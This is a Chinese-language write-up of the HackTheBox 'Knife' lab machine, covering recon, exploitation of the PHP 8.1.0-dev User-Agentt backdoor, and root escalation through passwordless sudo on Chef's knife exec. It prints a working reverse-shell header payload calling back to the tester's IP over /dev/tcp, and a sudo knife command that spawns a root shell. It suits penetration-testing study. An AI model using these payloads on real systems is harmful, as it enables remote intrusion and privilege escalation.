HackTheBox-Knife
Hackthebox-Knife
本机IP:10.10.16.6
目标IP:10.10.10.242
信息收集
nmap
开放了22和80端口,直接访问看看网站功能
上面导航栏是假的根本点不了,ctrl+u
查看网页源代码,似乎就当前页面
Dirsearch
访问../login
,和index.php
一模一样
发现漏洞(PHP8.1.0-dev开发版本后门)
Burpsuite
发现请求头有问题
PHP/8.1.0-dev backdoor rce
在某场CTF比赛里碰到过
攻击者可以通过发送User-Agentt
头来执行任意代码(具体网上都能查到)
反弹Shell
添加请求头User-Agentt: zerodiumsystem("/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.6/2333 0>&1'");
监听2333端口成功反弹shell
在james用户主目录得到user flag
提权
查看james用户的sudo权限
可以无密码运行/usr/bin/knife
Google上搜一下Knife ,发现是一个命令行工具
sudo knife
运行可以看到Knife的各种命令参数
其中有一个exec 我们似乎可以利用
看一下用法
Knife exec有两个参数
-E CODE
,
–exec CODEA string of code to be executed.
-p PATH:PATH
,
–script-path PATH:PATHA colon-separated path at which Ruby scripts are located. Use to override the default location for scripts. When this option is not specified, knife will look for scripts located in
chef-repo/.chef/scripts
directory.
用 Ruby 代码执行 shell 脚本的方式放在参考链接第二个了,system
的用法其实没啥区别
接下来可以提权了
1 | sudo knife exec -E "system('/bin/sh -i')" //-i:实现脚本交互 |
可以看到我们已经拿到root的权限了
注意,如果shell没有升级情况如下,升级一下就行(另一台靶机记录里写过,姿势很多)
接下来可以去找root的flag了
end
写在最后
最近渗透靶机做的多了,对整个流程也熟悉了起来,由于漏洞点比赛碰到过可能没怎么卡壳
本台靶机对我来说难点还是在提权吧,提权的方法和知识还是需要多多学习
Google搜索信息也是解题不可分割的一环,碰到没见过的东西要现学现用
参考链接
https://docs.chef.io/workstation/knife/
http://thelazylog.com/executing-shell-script-from-ruby-code/